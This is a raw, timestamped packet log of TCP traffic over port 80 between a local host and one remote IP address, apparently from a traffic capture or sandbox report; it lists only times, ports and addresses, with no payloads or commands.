Dec 16, 2024 15:02:12.266371965 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.266427040 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.267360926 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.267416954 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.267467022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.268357038 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.268414974 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.268450975 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.268553019 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.269408941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.269453049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.269522905 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.269653082 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.270469904 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.270562887 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.270613909 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.270692110 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.271509886 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.271569014 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.271657944 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.271708012 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.272505999 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.272608042 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.272716999 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.272809982 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.273520947 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.273600101 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.273607969 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.273682117 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.274560928 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.274606943 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.274681091 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.274720907 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.275541067 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.275626898 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.275629997 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.275676966 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.276551962 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.276597023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.276612043 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.276640892 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.277635098 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.277731895 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.277743101 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.277797937 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.278716087 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.278738022 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.278764963 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.278800011 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.279695034 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.279783964 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.279805899 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.279860973 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.280662060 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.280713081 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.280749083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.280749083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.281702995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.281764984 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.281896114 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.281965971 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.282756090 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.282851934 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.282901049 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.283113956 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.283797026 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.283898115 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.283909082 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.283981085 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.284723997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.284843922 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.284854889 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.284964085 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.285765886 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.285872936 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.285922050 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.286756992 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.286823988 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.286849976 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.286901951 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.287945032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.288008928 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.288077116 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.288158894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.289230108 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.289331913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.427618980 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.427834034 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.427917004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.428220034 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.428311110 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.428390980 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.428474903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.428524017 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.428541899 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.429312944 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.429384947 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.429409027 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.429470062 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.430381060 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.430392981 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.430468082 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.431406975 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.431487083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.431514025 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.431557894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.432346106 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.432436943 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.432493925 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.432652950 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.433377981 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.433521032 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.433522940 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.433593988 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.434402943 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.434472084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.434518099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.434561968 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.435395002 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.435503006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.435587883 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.435636044 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.436433077 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.436455965 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.436499119 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.436538935 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.437474966 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.437541008 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.437588930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.437664986 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.438520908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.438565969 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.438596964 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.438635111 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.439506054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.439593077 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.439639091 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.439713955 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.440545082 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.440615892 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.440658092 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.440702915 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.441536903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.441591978 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.441657066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.441720009 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.442615032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.442689896 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.442734957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.442816973 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.443694115 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.443743944 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.443759918 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.443821907 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.444638968 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.444703102 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.444724083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.444786072 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.445658922 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.445763111 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.445785999 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.445908070 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.446680069 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.446773052 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.446790934 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.446873903 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.447685957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.447772026 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.447813988 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.447877884 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.448755980 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.448815107 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.448995113 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.449076891 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.449836016 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.449943066 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.449965954 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.450059891 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.450952053 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.451030016 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.451045990 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.451086998 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.451860905 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.451945066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.452028036 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.452858925 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.452900887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.452934980 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.452951908 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.453864098 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.453931093 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.453982115 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.454060078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.454890966 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.454967022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.454972029 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.455008984 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.455940008 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.455986023 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.456074953 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.456141949 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.456912041 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.456975937 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.457005978 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.457027912 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.457962990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.458045006 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.458122015 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.459021091 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.459084034 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.459126949 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.459126949 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.460033894 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.460104942 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.460150957 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.460242033 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.461049080 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.461121082 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.461152077 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.461203098 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.462076902 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.462166071 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.462198019 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.462274075 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.463116884 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.463176012 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.463246107 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.463339090 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.464174986 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.464225054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.464286089 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.465254068 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.465331078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.465365887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.465406895 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.466260910 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.466284037 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.466336966 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.466350079 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.467231989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.467298031 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.467374086 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.467463970 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.468194962 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.468271971 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.468287945 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.468349934 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.469235897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.469300985 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.469355106 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.469410896 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.470349073 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.470410109 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.470463037 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.470654964 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.471288919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.471391916 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.471431017 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.471493006 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.472313881 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.472381115 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.472400904 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.472476959 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.473335028 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.473440886 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.473465919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.473522902 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.474361897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.474438906 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.474453926 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.474512100 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.475438118 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.475527048 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.475549936 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.475624084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.476396084 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.476454020 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.476494074 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.476546049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.477536917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.477597952 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.477650881 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.478466988 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.478537083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.478552103 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.478604078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.479715109 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.479800940 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.479826927 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.479942083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.480829954 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.480897903 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.480931044 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.481084108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.619712114 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.619811058 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.619921923 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.620029926 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.620243073 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.620297909 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.620817900 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.620892048 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.621294022 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.621467113 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.621767998 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.621825933 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.622270107 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.622349977 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.622786045 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.622848034 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.623322964 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.623406887 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.623732090 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.623786926 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.624387980 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.624439955 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.624473095 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.624533892 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.625552893 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.625566006 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.625628948 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.626668930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.626791000 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.627747059 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.627760887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.627855062 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.627861023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.628015041 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.628482103 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.628549099 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.628591061 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.628685951 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.629458904 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.629518986 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.630078077 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.630150080 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.630470037 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.630539894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.631658077 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.631716013 CET	80	49867	185.215.113.16	192.168.2.6
